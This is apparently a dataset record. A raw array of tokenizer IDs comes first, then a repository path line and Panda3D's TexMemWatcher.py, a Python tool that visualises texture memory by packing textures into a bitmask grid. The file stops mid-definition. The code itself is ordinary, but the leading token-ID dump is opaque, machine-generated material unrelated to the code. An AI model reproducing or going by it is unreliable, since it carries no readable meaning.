[ 1, 529, 9507, 29958, 4351, 29914, 29881, 11124, 25171, 29889, 2272, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 29941, 13, 13, 5215, 12013, 13, 5215, 11799, 13, 3166, 1904, 29889, 11618, 1053, 8527, 13, 3166, 1904, 29889, 29881, 11124, 1053, 360, 11124, 13, 3166, 1904, 29889, 29881, 895, 559, 1053, 360, 895, 559, 13, 3166, 1904, 29889, 12864, 1053, 21086, 13, 13, 11618, 353, 8527, 580, 13, 2541, 12013, 29889, 3150, 877, 6995, 1272, 29914, 29928, 11124, 23369, 1705, 29914, 29881, 11124, 25171, 29918, 655, 27775, 29889, 7638, 742, 525, 29878, 742, 8025, 2433, 9420, 29899, 29947, 742, 25899, 2433, 1495, 408, 285, 29901, 13, 1678, 9591, 353, 11799, 29889, 16950, 29898, 29888, 29892, 28552, 29922, 742, 742, 14978, 3090, 2433, 29908, 1495, 13, 1678, 2446, 29898, 16950, 29892, 6213, 29897, 13, 1678, 363, 1948, 297, 9591, 29901, 13, 4706, 18999, 353, 6024, 29928, 11124, 23369, 1705, 16664, 29879, 29915, 1273, 1948, 29961, 29900, 1402, 525, 29928, 11124, 29933, 804, 16664, 29879, 29915, 1273, 1948, 29961, 29896, 5262, 13, 4706, 565, 1948, 29961, 29906, 5387, 13, 9651, 18999, 29889, 4397, 877, 29934, 29916, 29940, 555, 16664, 29879, 29915, 1273, 1948, 29961, 29906, 2314, 13, 4706, 3564, 29889, 1202, 29918, 3177, 29898, 29928, 11124, 29898, 4841, 29892, 518, 798, 29961, 29941, 5262, 876, 13, 13, 2541, 12013, 29889, 3150, 877, 6995, 1272, 29914, 29928, 11124, 23369, 1705, 29914, 29881, 11124, 25171, 29918, 513, 293, 800, 29889, 7638, 742, 525, 29878, 742, 8025, 2433, 9420, 29899, 29947, 742, 25899, 2433, 1495, 408, 285, 29901, 13, 1678, 9591, 353, 11799, 29889, 16950, 29898, 29888, 29892, 28552, 29922, 742, 742, 14978, 3090, 2433, 29908, 1495, 13, 1678, 2446, 29898, 16950, 29892, 6213, 29897, 13, 1678, 363, 1948, 297, 9591, 29901, 13, 4706, 17135, 353, 360, 895, 559, 18959, 29903, 1217, 19302, 1783, 16664, 29879, 29915, 1273, 1948, 29961, 29906, 1402, 525, 29965, 1988, 29903, 16664, 29879, 29915, 1273, 1948, 29961, 29941, 20526, 518, 798, 29961, 29896, 24960, 13, 4706, 3564, 29889, 1202, 29918, 3177, 29898, 29881, 895, 559, 29897, 13, 4706, 15721, 353, 3564, 29889, 657, 29918, 3177, 29918, 1609, 29918, 333, 877, 29928, 11124, 29933, 804, 16664, 29879, 29915, 1273, 1948, 29961, 29900, 1402, 525, 29928, 11124, 1495, 13, 4706, 321, 353, 21086, 29898, 29881, 11124, 29892, 17135, 29892, 525, 22255, 2965, 1299, 2890, 742, 11117, 4993, 2396, 525, 29928, 11124, 23369, 1705, 29915, 1800, 13, 4706, 3564, 29889, 1202, 29918, 12864, 29898, 29872, 29897, 13, 13, 2541, 12013, 29889, 3150, 877, 6995, 1272, 29914, 29928, 11124, 23369, 1705, 29914, 29881, 11124, 25171, 29918, 23008, 513, 293, 800, 29889, 7638, 742, 525, 29878, 742, 8025, 2433, 9420, 29899, 29947, 742, 25899, 2433, 1495, 408, 285, 29901, 13, 1678, 9591, 353, 11799, 29889, 16950, 29898, 29888, 29892, 28552, 29922, 742, 742, 14978, 3090, 2433, 29908, 1495, 13, 1678, 2446, 29898, 16950, 29892, 6213, 29897, 13, 1678, 363, 1948, 297, 9591, 29901, 13, 4706, 17135, 353, 360, 895, 559, 18959, 29903, 1217, 19302, 1783, 16664, 29879, 29915, 1273, 1948, 29961, 29906, 1402, 525, 29965, 1988, 29903, 16664, 29879, 29915, 1273, 1948, 29961, 29941, 20526, 518, 798, 29961, 29896, 24960, 13, 4706, 3564, 29889, 1202, 29918, 3177, 29898, 29881, 895, 559, 29897, 13, 4706, 15721, 353, 3564, 29889, 657, 29918, 3177, 29918, 1609, 29918, 333, 877, 29928, 11124, 29933, 804, 16664, 29879, 29915, 1273, 1948, 29961, 29900, 1402, 525, 29928, 11124, 1495, 13, 4706, 321, 353, 21086, 29898, 29881, 11124, 29892, 17135, 29892, 525, 22412, 4717, 22255, 2965, 1299, 2890, 742, 11117, 4993, 2396, 525, 29928, 11124, 23369, 1705, 29915, 1800, 13, 4706, 3564, 29889, 1202, 29918, 12864, 29898, 29872, 29897, 13, 13, 11618, 29889, 7620, 877, 6995, 1272, 29914, 29928, 11124, 23369, 1705, 29914, 4262, 29889, 3126, 1495, 13, 2 ]
dev/tools/leveleditor/direct/showutil/TexMemWatcher.py
CrankySupertoon01/Toontown-2
1
1607750
from pandac.PandaModules import * from direct.showbase.DirectObject import DirectObject import math import copy class TexMemWatcher(DirectObject): """ This class creates a separate graphics window that displays an approximation of the current texture memory, showing the textures that are resident and/or active, and an approximation of the amount of texture memory consumed by each one. It's intended as a useful tool to help determine where texture memory is being spent. Although it represents the textures visually in a 2-d space, it doesn't actually have any idea how textures are physically laid out in memory--but it has to lay them out somehow, so it makes something up. It occasionally rearranges the texture display when it feels it needs to, without regard to what the graphics card is actually doing. This tool can't be used to research texture memory fragmentation issues. """ NextIndex = 1 StatusHeight = 20 # in pixels def __init__(self, gsg = None, limit = None): DirectObject.__init__(self) # First, we'll need a name to uniquify the object. self.name = 'tex-mem%s' % (TexMemWatcher.NextIndex) TexMemWatcher.NextIndex += 1 self.cleanedUp = False self.top = 1.0 # The textures managed by the TexMemWatcher are packed # arbitrarily into the canvas, which is the viewable region # that represents texture memory allocation. The packing # arrangement has no relation to actual layout within texture # memory (which we have no way to determine). # The visual size of each texture is chosen in proportion to # the total number of bytes of texture memory the texture # consumes. This includes mipmaps, and accounts for texture # compression. Visually, a texture with mipmaps will be # represented by a rectangle 33% larger than an # equivalent-sized texture without mipmaps. Of course, this # once again has little bearing to the way the textures are # actually arranged in memory; but it serves to give a visual # indication of how much texture memory each texture consumes. # There is an arbitrary limit, self.limit, which may have been # passed to the constructor, or which may be arbitrarily # determined. This represents the intended limit to texture # memory utilization. We (generously) assume that the # graphics card will implement a perfect texture packing # algorithm, so that as long as our total utilization <= # self.limit, it must fit within texture memory. We represent # this visually by aggressively packing textures within the # self.limit block so that they are guaranteed to fit, as long # as we do not exceed the total utilization. This may # sometimes mean distorting a texture block or even breaking # it into multiple pieces to get it to fit, clearly # fictionalizing whatever the graphics driver is actually # doing. # Internally, textures are packed into an integer grid of # Q-units. Q-units are in proportion to texture bytes. # Specifically, each Q-unit corresponds to a block of # self.quantize * self.quantize texture bytes in the Texture # Memory window. The Q-units are the smallest packable unit; # increasing self.quantize therefore reduces the visual # packing resolution correspondingly. Q-units very roughly # correspond to pixels onscreen (they may be larger, sometimes # considerably larger, than 1 pixel, depending on the window # size). # This number defines the size of a Q-unit square, in texture # bytes. It is automatically adjusted in repack() based on # the window size and the texture memory size. self.quantize = 1 # This is the maximum number of bitmask rows (within # self.limit) to allocate for packing. This controls the # value assigned to self.quantize in repack(). self.maxHeight = base.config.GetInt('tex-mem-max-height', 300) # The total number of texture bytes tracked, including overflow. self.totalSize = 0 # The total number of texture bytes placed, not including # overflow (that is, within self.limit). self.placedSize = 0 # The total number of Q-units placed, not including overflow. self.placedQSize = 0 # If no GSG is specified, use the main GSG. if gsg is None: gsg = base.win.getGsg() elif isinstance(gsg, GraphicsOutput): # If we were passed a window, use that window's GSG. gsg = gsg.getGsg() self.gsg = gsg # Now open a new window just to render the output. size = ConfigVariableInt('tex-mem-win-size', '300 300') origin = ConfigVariableInt('tex-mem-win-origin', '100 100') self.winSize = (size[0], size[1]) name = 'Texture Memory' props = WindowProperties() props.setOrigin(origin[0], origin[1]) props.setSize(*self.winSize) props.setTitle(name) props.setFullscreen(False) props.setUndecorated(False) fbprops = FrameBufferProperties.getDefault() flags = GraphicsPipe.BFFbPropsOptional | GraphicsPipe.BFRequireWindow self.pipe = None # Set this to tinydisplay if you're running on a machine with # limited texture memory. That way you won't compete for # texture memory with the main scene. moduleName = base.config.GetString('tex-mem-pipe', '') if moduleName: self.pipe = base.makeModulePipe(moduleName) # If the requested pipe fails for some reason, we'll use the # regular pipe. if not self.pipe: self.pipe = base.pipe self.win = base.graphicsEngine.makeOutput(self.pipe, name, 0, fbprops, props, flags) assert self.win # We should render at the end of the frame. self.win.setSort(10000) # We don't need to clear the color buffer, since we'll be # filling it with a texture. We also don't need to clear the # depth buffer, since we won't be using it. self.win.setClearColorActive(False) self.win.setClearDepthActive(False) eventName = '%s-window' % (self.name) self.win.setWindowEvent(eventName) self.accept(eventName, self.windowEvent) # Listen for this event so we can update appropriately, if # anyone changes the window's graphics memory limit, self.accept('graphics_memory_limit_changed', self.graphicsMemoryLimitChanged) # We'll need a mouse object to get mouse events. self.mouse = base.dataRoot.attachNewNode(MouseAndKeyboard(self.win, 0, '%s-mouse' % (self.name))) bt = ButtonThrower('%s-thrower' % (self.name)) self.mouse.attachNewNode(bt) bt.setPrefix('button-%s-' % (self.name)) self.accept('button-%s-mouse1' % (self.name), self.mouseClick) self.setupGui() self.setupCanvas() # Now start handling up the actual stuff in the scene. self.background = None self.nextTexRecordKey = 0 self.rollover = None self.isolate = None self.isolated = None self.needsRepack = False # How frequently should the texture memory window check for # state changes? updateInterval = base.config.GetDouble("tex-mem-update-interval", 0.5) self.task = taskMgr.doMethodLater(updateInterval, self.updateTextures, 'TexMemWatcher') self.setLimit(limit) def setupGui(self): """ Creates the gui elements and supporting structures. """ self.render2d = NodePath('render2d') self.render2d.setDepthTest(False) self.render2d.setDepthWrite(False) self.render2d.setTwoSided(True) self.render2d.setBin('unsorted', 0) # Create a DisplayRegion and an associated camera. dr = self.win.makeDisplayRegion() cam = Camera('cam2d') self.lens = OrthographicLens() self.lens.setNearFar(-1000, 1000) self.lens.setFilmSize(2, 2) cam.setLens(self.lens) np = self.render2d.attachNewNode(cam) dr.setCamera(np) self.aspect2d = self.render2d.attachNewNode('aspect2d') cm = CardMaker('statusBackground') cm.setColor(0.85, 0.85, 0.85, 1) cm.setFrame(0, 2, 0, 2) self.statusBackground = self.render2d.attachNewNode(cm.generate(), -1) self.statusBackground.setPos(-1, 0, -1) self.status = self.aspect2d.attachNewNode('status') self.statusText = TextNode('statusText') self.statusText.setTextColor(0, 0, 0, 1) self.statusTextNP = self.status.attachNewNode(self.statusText) self.statusTextNP.setScale(1.5) self.sizeText = TextNode('sizeText') self.sizeText.setTextColor(0, 0, 0, 1) self.sizeText.setAlign(TextNode.ARight) self.sizeText.setCardAsMargin(0.25, 0, 0, -0.25) self.sizeText.setCardColor(0.85, 0.85, 0.85, 1) self.sizeTextNP = self.status.attachNewNode(self.sizeText) self.sizeTextNP.setScale(1.5) def setupCanvas(self): """ Creates the "canvas", which is the checkerboard area where texture memory is laid out. The canvas has its own DisplayRegion. """ self.canvasRoot = NodePath('canvasRoot') self.canvasRoot.setDepthTest(False) self.canvasRoot.setDepthWrite(False) self.canvasRoot.setTwoSided(True) self.canvasRoot.setBin('unsorted', 0) self.canvas = self.canvasRoot.attachNewNode('canvas') # Create a DisplayRegion and an associated camera. self.canvasDR = self.win.makeDisplayRegion() self.canvasDR.setSort(-10) cam = Camera('cam2d') self.canvasLens = OrthographicLens() self.canvasLens.setNearFar(-1000, 1000) cam.setLens(self.canvasLens) np = self.canvasRoot.attachNewNode(cam) self.canvasDR.setCamera(np) # Create a MouseWatcher so we can interact with the various # textures. self.mw = MouseWatcher('%s-watcher' % (self.name)) self.mw.setDisplayRegion(self.canvasDR) mwnp = self.mouse.attachNewNode(self.mw) eventName = '%s-enter' % (self.name) self.mw.setEnterPattern(eventName) self.accept(eventName, self.enterRegion) eventName = '%s-leave' % (self.name) self.mw.setLeavePattern(eventName) self.accept(eventName, self.leaveRegion) # Create a checkerboard background card for the canvas. p = PNMImage(2, 2, 1) p.setGray(0, 0, 0.40) p.setGray(1, 1, 0.40) p.setGray(0, 1, 0.75) p.setGray(1, 0, 0.75) self.checkTex = Texture('checkTex') self.checkTex.load(p) self.checkTex.setMagfilter(Texture.FTNearest) self.canvasBackground = None self.makeCanvasBackground() def makeCanvasBackground(self): if self.canvasBackground: self.canvasBackground.removeNode() self.canvasBackground = self.canvasRoot.attachNewNode('canvasBackground', -100) cm = CardMaker('background') cm.setFrame(0, 1, 0, 1) cm.setUvRange((0, 0), (1, 1)) self.canvasBackground.attachNewNode(cm.generate()) cm.setFrame(0, 1, 1, self.top) cm.setUvRange((0, 1), (1, self.top)) bad = self.canvasBackground.attachNewNode(cm.generate()) bad.setColor((0.8, 0.2, 0.2, 1)) self.canvasBackground.setTexture(self.checkTex) def setLimit(self, limit = None): """ Indicates the texture memory limit. If limit is None or unspecified, the limit is taken from the GSG, if any; or there is no limit. """ self.__doSetLimit(limit) self.reconfigureWindow() def __doSetLimit(self, limit): """ Internal implementation of setLimit(). """ self.limit = limit self.lruLimit = False self.dynamicLimit = False if not limit: # If no limit was specified, use the specified graphics # memory limit, if any. lruSize = self.gsg.getPreparedObjects().getGraphicsMemoryLimit() if lruSize and lruSize < 2**32 - 1: # Got a real lruSize. Use it. self.limit = lruSize self.lruLimit = True else: # No LRU limit either, so there won't be a practical # limit to the TexMemWatcher. We'll determine our # limit on-the-fly instead. self.dynamicLimit = True if self.dynamicLimit: # Choose a suitable limit by rounding to the next power of two. self.limit = Texture.upToPower2(self.totalSize) # Set our GSG to limit itself to no more textures than we # expect to display onscreen, so we don't go crazy with # texture memory. self.win.getGsg().getPreparedObjects().setGraphicsMemoryLimit(self.limit) # The actual height of the canvas, including the overflow # area. The texture memory itself is restricted to (0..1) # vertically; anything higher than 1 is overflow. top = 1.25 if self.dynamicLimit: # Actually, we'll never exceed texture memory, so never mind. top = 1 if top != self.top: self.top = top self.makeCanvasBackground() self.canvasLens.setFilmSize(1, self.top) self.canvasLens.setFilmOffset(0.5, self.top / 2.0) # lens covers 0..1 in x and y def cleanup(self): if not self.cleanedUp: self.cleanedUp = True # Remove the window. base.graphicsEngine.removeWindow(self.win) self.win = None self.gsg = None self.pipe = None # Remove the mouse. self.mouse.detachNode() taskMgr.remove(self.task) self.ignoreAll() self.canvas.getChildren().detach() self.texRecordsByTex = {} self.texRecordsByKey = {} self.texPlacements = {} def graphicsMemoryLimitChanged(self): if self.dynamicLimit or self.lruLimit: self.__doSetLimit(None) self.reconfigureWindow() def windowEvent(self, win): if win == self.win: props = win.getProperties() if not props.getOpen(): # User closed window. self.cleanup() return size = (props.getXSize(), props.getYSize()) if size != self.winSize: self.winSize = size self.reconfigureWindow() def enterRegion(self, region, buttonName): """ the mouse has rolled over a texture. """ key, pi = map(int, region.getName().split(':')) tr = self.texRecordsByKey.get(key) if not tr: return self.setRollover(tr, pi) def leaveRegion(self, region, buttonName): """ the mouse is no longer over a texture. """ key, pi = map(int, region.getName().split(':')) tr = self.texRecordsByKey.get(key) if tr != self.rollover: return self.setRollover(None, None) def mouseClick(self): """ Received a mouse-click within the window. This isolates the currently-highlighted texture into a full-window presentation. """ if self.isolate: # We're already isolating a texture; the click undoes this. self.isolateTexture(None) return if self.rollover: self.isolateTexture(self.rollover) def setRollover(self, tr, pi): """ Sets the highlighted texture (due to mouse rollover) to the indicated texture, or None to clear it. """ self.rollover = tr if self.rollover: self.statusText.setText(tr.tex.getName()) else: self.statusText.setText('') def isolateTexture(self, tr): """ Isolates the indicated texture onscreen, or None to restore normal mode. """ if self.isolate: self.isolate.removeNode() self.isolate = None self.isolated = tr # Undo the previous call to isolate. self.canvas.show() self.canvasBackground.clearColor() self.win.getGsg().setTextureQualityOverride(Texture.QLDefault) if hasattr(self.gsg, 'clearFlashTexture'): self.gsg.clearFlashTexture() if not tr: return # Now isolate. self.canvas.hide() # Disable the red bar at the top. self.canvasBackground.setColor(1, 1, 1, 1, 1) # Show the texture in all its filtered glory. self.win.getGsg().setTextureQualityOverride(Texture.QLBest) if hasattr(self.gsg, 'setFlashTexture'): # Start the texture flashing in the main window. self.gsg.setFlashTexture(tr.tex) self.isolate = self.render2d.attachNewNode('isolate') wx, wy = self.winSize # Put a label on the bottom of the screen. tn = TextNode('tn') tn.setText('%s\n%s x %s\n%s' % ( tr.tex.getName(), tr.tex.getXSize(), tr.tex.getYSize(), self.formatSize(tr.size))) tn.setAlign(tn.ACenter) tn.setCardAsMargin(100.0, 100.0, 0.1, 0.1) tn.setCardColor(0.1, 0.2, 0.4, 1) tnp = self.isolate.attachNewNode(tn) scale = 30.0 / wy tnp.setScale(scale * wy / wx, scale, scale) tnp.setPos(render2d, 0, 0, -1 - tn.getBottom() * scale) labelTop = tn.getHeight() * scale # Make a card that shows the texture in actual pixel size, but # don't let it exceed the screen size. tw = tr.tex.getXSize() th = tr.tex.getYSize() wx = float(wx) wy = float(wy) * (2.0 - labelTop) * 0.5 w = min(tw, wx) h = min(th, wy) sx = w / tw sy = h / th s = min(sx, sy) w = tw * s / float(self.winSize[0]) h = th * s / float(self.winSize[1]) cx = 0.0 cy = 1.0 - (2.0 - labelTop) * 0.5 l = cx - w r = cx + w b = cy - h t = cy + h cm = CardMaker('card') cm.setFrame(l, r, b, t) c = self.isolate.attachNewNode(cm.generate()) c.setTexture(tr.tex) c.setTransparency(TransparencyAttrib.MAlpha) ls = LineSegs('frame') ls.setColor(0, 0, 0, 1) ls.moveTo(l, 0, b) ls.drawTo(r, 0, b) ls.drawTo(r, 0, t) ls.drawTo(l, 0, t) ls.drawTo(l, 0, b) self.isolate.attachNewNode(ls.create()) def reconfigureWindow(self): """ Resets everything for a new window size. """ wx, wy = self.winSize if wx <= 0 or wy <= 0: return self.aspect2d.setScale(float(wy) / float(wx), 1, 1) # Reserve self.StatusHeight pixels for the status bar; # everything else is for the canvas. statusScale = float(self.StatusHeight) / float(wy) self.statusBackground.setScale(1, 1, statusScale) self.status.setScale(statusScale) self.statusTextNP.setPos(self.statusBackground, 0, 0, 0.5) self.sizeTextNP.setPos(self.statusBackground, 2, 0, 0.5) self.canvasDR.setDimensions(0, 1, statusScale, 1) w = self.canvasDR.getPixelWidth() h = self.canvasDR.getPixelHeight() self.canvasBackground.setTexScale(TextureStage.getDefault(), w / 20.0, h / (20.0 * self.top)) if self.isolate: # If we're currently showing an isolated texture, refresh # that display so we get its size right. And when we come # back to the main window (but not now), repack it. self.needsRepack = True self.isolateTexture(self.isolated) else: # If we're showing the main window, just repack it # immediately. self.repack() def updateTextures(self, task): """ Gets the current list of resident textures and adds new textures or removes old ones from the onscreen display, as necessary. """ if self.isolate: # never mind for now. return task.again if self.needsRepack: self.needsRepack = False self.repack() return task.again pgo = self.gsg.getPreparedObjects() totalSize = 0 texRecords = [] neverVisited = copy.copy(self.texRecordsByTex) for tex in self.gsg.getPreparedTextures(): # We have visited this texture; remove it from the # neverVisited list. if tex in neverVisited: del neverVisited[tex] size = 0 if tex.getResident(pgo): size = tex.getDataSizeBytes(pgo) tr = self.texRecordsByTex.get(tex, None) if size: totalSize += size active = tex.getActive(pgo) if not tr: # This is a new texture; need to record it. key = self.nextTexRecordKey self.nextTexRecordKey += 1 tr = TexRecord(key, tex, size, active) texRecords.append(tr) else: tr.setActive(active) if tr.size != size or not tr.placements: # The size has changed; reapply it. tr.setSize(size) self.unplaceTexture(tr) texRecords.append(tr) else: if tr: # This texture is no longer resident; need to remove it. self.unplaceTexture(tr) # Now go through and make sure we unplace (and remove!) any # textures that we didn't visit at all this pass. for tex, tr in neverVisited.items(): self.unplaceTexture(tr) del self.texRecordsByTex[tex] del self.texRecordsByKey[tr.key] self.totalSize = totalSize self.sizeText.setText(self.formatSize(self.totalSize)) if totalSize > self.limit and self.dynamicLimit: # Actually, never mind on the update: we have exceeded the # dynamic limit computed before, and therefore we need to # repack. self.repack() else: overflowCount = sum(map(lambda tp: tp.overflowed, self.texPlacements.keys())) if totalSize <= self.limit and overflowCount: # Shouldn't be overflowing any more. Better repack. self.repack() else: # Pack in just the newly-loaded textures. # Sort the regions from largest to smallest to maximize # packing effectiveness. texRecords.sort(key = lambda tr: (tr.tw, tr.th), reverse = True) for tr in texRecords: self.placeTexture(tr) self.texRecordsByTex[tr.tex] = tr self.texRecordsByKey[tr.key] = tr return task.again def repack(self): """ Repacks all of the current textures. """ self.canvas.getChildren().detach() self.texRecordsByTex = {} self.texRecordsByKey = {} self.texPlacements = {} self.bitmasks = [] self.mw.clearRegions() self.setRollover(None, None) self.w = 1 self.h = 1 self.placedSize = 0 self.placedQSize = 0 pgo = self.gsg.getPreparedObjects() totalSize = 0 for tex in self.gsg.getPreparedTextures(): if tex.getResident(pgo): size = tex.getDataSizeBytes(pgo) if size: active = tex.getActive(pgo) key = self.nextTexRecordKey self.nextTexRecordKey += 1 tr = TexRecord(key, tex, size, active) self.texRecordsByTex[tr.tex] = tr self.texRecordsByKey[tr.key] = tr totalSize += size self.totalSize = totalSize self.sizeText.setText(self.formatSize(self.totalSize)) if not self.totalSize: return if self.dynamicLimit or self.lruLimit: # Adjust the limit to ensure we keep tracking the lru size. self.__doSetLimit(None) # Now make that into a 2-D rectangle of the appropriate shape, # such that w * h == limit. # Window size x, y = self.winSize # There should be a little buffer on the top so we can see if # we overflow. y /= self.top r = float(y) / float(x) # Region size w = math.sqrt(self.limit) / math.sqrt(r) h = w * r # Now choose self.quantize so that we don't exceed # self.maxHeight. if h > self.maxHeight: self.quantize = int(math.ceil(h / self.maxHeight)) else: self.quantize = 1 w = max(int(w / self.quantize + 0.5), 1) h = max(int(h / self.quantize + 0.5), 1) self.w = w self.h = h self.area = self.w * self.h # We store a bitarray for each row, for fast lookup for # unallocated space on the canvas. Each Q-unit on the row # corresponds to a bit in the bitarray, where bit 0 is Q-unit # 0, bit 1 is Q-unit 1, and so on. If the bit is set, the # space is occupied. self.bitmasks = [] for i in range(self.h): self.bitmasks.append(BitArray()) self.canvas.setScale(1.0 / w, 1.0, 1.0 / h) self.mw.setFrame(0, w, 0, h * self.top) # Sort the regions from largest to smallest to maximize # packing effectiveness. texRecords = self.texRecordsByTex.values() texRecords.sort(key = lambda tr: (tr.tw, tr.th), reverse = True) for tr in texRecords: self.placeTexture(tr) def formatSize(self, size): """ Returns a size in MB, KB, GB, whatever. """ if size < 1000: return '%s bytes' % (size) size /= 1024.0 if size < 1000: return '%0.1f kb' % (size) size /= 1024.0 if size < 1000: return '%0.1f MB' % (size) size /= 1024.0 return '%0.1f GB' % (size) def unplaceTexture(self, tr): """ Removes the texture from its place on the canvas. """ if tr.placements: for tp in tr.placements: tp.clearBitmasks(self.bitmasks) if not tp.overflowed: self.placedQSize -= tp.area assert self.placedQSize >= 0 del self.texPlacements[tp] tr.placements = [] tr.clearCard(self) if not tr.overflowed: self.placedSize -= tr.size assert self.placedSize >= 0 tr.overflowed = 0 def placeTexture(self, tr): """ Places the texture somewhere on the canvas where it will fit. """ tr.computePlacementSize(self) tr.overflowed = 0 shouldFit = False availableSize = self.limit - self.placedSize if availableSize >= tr.size: shouldFit = True availableQSize = self.area - self.placedQSize if availableQSize < tr.area: # The texture should fit, but won't, due to roundoff # error. Make it correspondingly smaller, so we can # place it anyway. tr.area = availableQSize if shouldFit: # Look for a single rectangular hole to hold this piece. tp = self.findHole(tr.area, tr.w, tr.h) if tp: texCmp = cmp(tr.w, tr.h) holeCmp = cmp(tp.p[1] - tp.p[0], tp.p[3] - tp.p[2]) if texCmp != 0 and holeCmp != 0 and texCmp != holeCmp: tp.rotated = True tr.placements = [tp] tr.makeCard(self) tp.setBitmasks(self.bitmasks) self.placedQSize += tp.area self.texPlacements[tp] = tr self.placedSize += tr.size return # Couldn't find a single rectangular hole. We'll have to # divide the texture up into several smaller pieces to cram it # in. tpList = self.findHolePieces(tr.area) if tpList: texCmp = cmp(tr.w, tr.h) tr.placements = tpList for tp in tpList: holeCmp = cmp(tp.p[1] - tp.p[0], tp.p[3] - tp.p[2]) if texCmp != 0 and holeCmp != 0 and texCmp != holeCmp: tp.rotated = True tp.setBitmasks(self.bitmasks) self.placedQSize += tp.area self.texPlacements[tp] = tr self.placedSize += tr.size tr.makeCard(self) return # Just let it overflow. tr.overflowed = 1 tp = self.findOverflowHole(tr.area, tr.w, tr.h) tp.overflowed = 1 while len(self.bitmasks) <= tp.p[3]: self.bitmasks.append(BitArray()) tr.placements = [tp] tr.makeCard(self) tp.setBitmasks(self.bitmasks) self.texPlacements[tp] = tr def findHole(self, area, w, h): """ Searches for a rectangular hole that is at least area square units big, regardless of its shape, but attempt to find one that comes close to the right shape, at least. If one is found, returns an appropriate TexPlacement; otherwise, returns None. """ if area == 0: tp = TexPlacement(0, 0, 0, 0) return tp # Rotate the hole to horizontal first. w, h = max(w, h), min(w, h) aspect = float(w) / float(h) holes = self.findAvailableHoles(area, w, h) # Walk through the list and find the one with the best aspect # match. matches = [] for tarea, tp in holes: l, r, b, t = tp.p tw = r - l th = t - b # To constrain our area within this rectangle, how would # we have to squish it? if tw < w: # We'd have to make it taller. nh = min(area / tw, th) th = nh elif th < h: # We'd have to make it narrower. nw = min(area / th, tw) tw = nw else: # Hey, we don't have to squish it after all! Just # return this hole. tw = w th = h # Make a new tp that has the right area. tp = TexPlacement(l, l + tw, b, b + th) ta = float(max(tw, th)) / float(min(tw, th)) if ta == aspect: return tp match = min(ta, aspect) / max(ta, aspect) matches.append((match, tp)) if matches: return max(matches)[1] return None def findHolePieces(self, area): """ Returns a list of holes whose net area sums to the given area, or None if there are not enough holes. """ # First, save the original value of self.texPlacements, since # we will be modifying that during this search. savedTexPlacements = copy.copy(self.texPlacements) savedBitmasks = [] for ba in self.bitmasks: savedBitmasks.append(BitArray(ba)) result = [] while area > 0: # We have to call findLargestHole() each time through this # loop, instead of just walking through # findAvailableHoles() in order, because # findAvailableHoles() might return a list of overlapping # holes. tp = self.findLargestHole() if not tp: break l, r, b, t = tp.p tpArea = (r - l) * (t - b) if tpArea >= area: # we're done. shorten = (tpArea - area) / (r - l) t -= shorten tp.p = (l, r, b, t) tp.area = (r - l) * (t - b) result.append(tp) self.texPlacements = savedTexPlacements self.bitmasks = savedBitmasks return result # Keep going. area -= tpArea result.append(tp) tp.setBitmasks(self.bitmasks) self.texPlacements[tp] = None # Huh, not enough room, or no more holes. self.texPlacements = savedTexPlacements self.bitmasks = savedBitmasks return None def findLargestHole(self): holes = self.findAvailableHoles(0) if holes: return max(holes)[1] return None def findAvailableHoles(self, area, w = None, h = None): """ Finds a list of available holes, of at least the indicated area. Returns a list of tuples, where each tuple is of the form (area, tp). If w and h are non-None, this will short-circuit on the first hole it finds that fits w x h, and return just that hole in a singleton list. """ holes = [] lastTuples = set() lastBitmask = None b = 0 while b < self.h: # Separate this row into (l, r) tuples. bm = self.bitmasks[b] if bm == lastBitmask: # This row is exactly the same as the row below; no # need to reexamine. b += 1 continue lastBitmask = bm tuples = self.findEmptyRuns(bm) newTuples = tuples.difference(lastTuples) for l, r in newTuples: # Find out how high we can go with this bitmask. mask = BitArray.range(l, r - l) t = b + 1 while t < self.h and (self.bitmasks[t] & mask).isZero(): t += 1 tpw = (r - l) tph = (t - b) tarea = tpw * tph assert tarea > 0 if tarea >= area: tp = TexPlacement(l, r, b, t) if w and h and \ ((tpw >= w and tph >= h) or \ (tph >= w and tpw >= h)): # This hole is big enough; short circuit. return [(tarea, tp)] holes.append((tarea, tp)) lastTuples = tuples b += 1 return holes def findOverflowHole(self, area, w, h): """ Searches for a hole large enough for (w, h), in the overflow space. Since the overflow space is infinite, this will always succeed. """ if w > self.w: # It won't fit within the margins at all; just stack it on # the top. # Scan down past all of the empty bitmasks that may be # stacked on top. b = len(self.bitmasks) while b > self.h and self.bitmasks[b - 1].isZero(): b -= 1 tp = TexPlacement(0, w, b, b + h) return tp # It fits within the margins; find the first row with enough # space for it. lastTuples = set() lastBitmask = None b = self.h while True: if b >= len(self.bitmasks): # Off the top. Just leave it here. tp = TexPlacement(0, w, b, b + h) return tp # Separate this row into (l, r) tuples. bm = self.bitmasks[b] if bm == lastBitmask: # This row is exactly the same as the row below; no # need to reexamine. b += 1 continue lastBitmask = bm tuples = self.findEmptyRuns(bm) newTuples = tuples.difference(lastTuples) for l, r in newTuples: # Is this region wide enough? if r - l < w: continue # Is it tall enough? r = l + w mask = BitArray.range(l, r - l) t = b + 1 while t < b + h and \ (t >= len(self.bitmasks) or (self.bitmasks[t] & mask).isZero()): t += 1 if t < b + h: # Not tall enough. continue tp = TexPlacement(l, r, b, t) return tp lastTuples = tuples b += 1 def findEmptyRuns(self, bm): """ Separates a bitmask into a list of (l, r) tuples, corresponding to the empty regions in the row between 0 and self.w. """ tuples = set() l = bm.getLowestOffBit() assert l != -1 if l < self.w: r = bm.getNextHigherDifferentBit(l) if r == l or r >= self.w: r = self.w tuples.add((l, r)) l = bm.getNextHigherDifferentBit(r) while l != r and l < self.w: r = bm.getNextHigherDifferentBit(l) if r == l or r >= self.w: r = self.w tuples.add((l, r)) l = bm.getNextHigherDifferentBit(r) return tuples class TexRecord: def __init__(self, key, tex, size, active): self.key = key self.tex = tex self.active = active self.root = None self.regions = [] self.placements = [] self.overflowed = 0 self.setSize(size) def setSize(self, size): self.size = size x = self.tex.getXSize() y = self.tex.getYSize() r = float(y) / float(x) # Card size, in unscaled texel units. self.tw = math.sqrt(self.size) / math.sqrt(r) self.th = self.tw * r def computePlacementSize(self, tmw): self.w = max(int(self.tw / tmw.quantize + 0.5), 1) self.h = max(int(self.th / tmw.quantize + 0.5), 1) self.area = self.w * self.h def setActive(self, flag): self.active = flag if self.active: self.backing.clearColor() self.matte.clearColor() self.card.clearColor() else: self.backing.setColor((0.2, 0.2, 0.2, 1), 2) self.matte.setColor((0.2, 0.2, 0.2, 1), 2) self.card.setColor((0.4, 0.4, 0.4, 1), 2) def 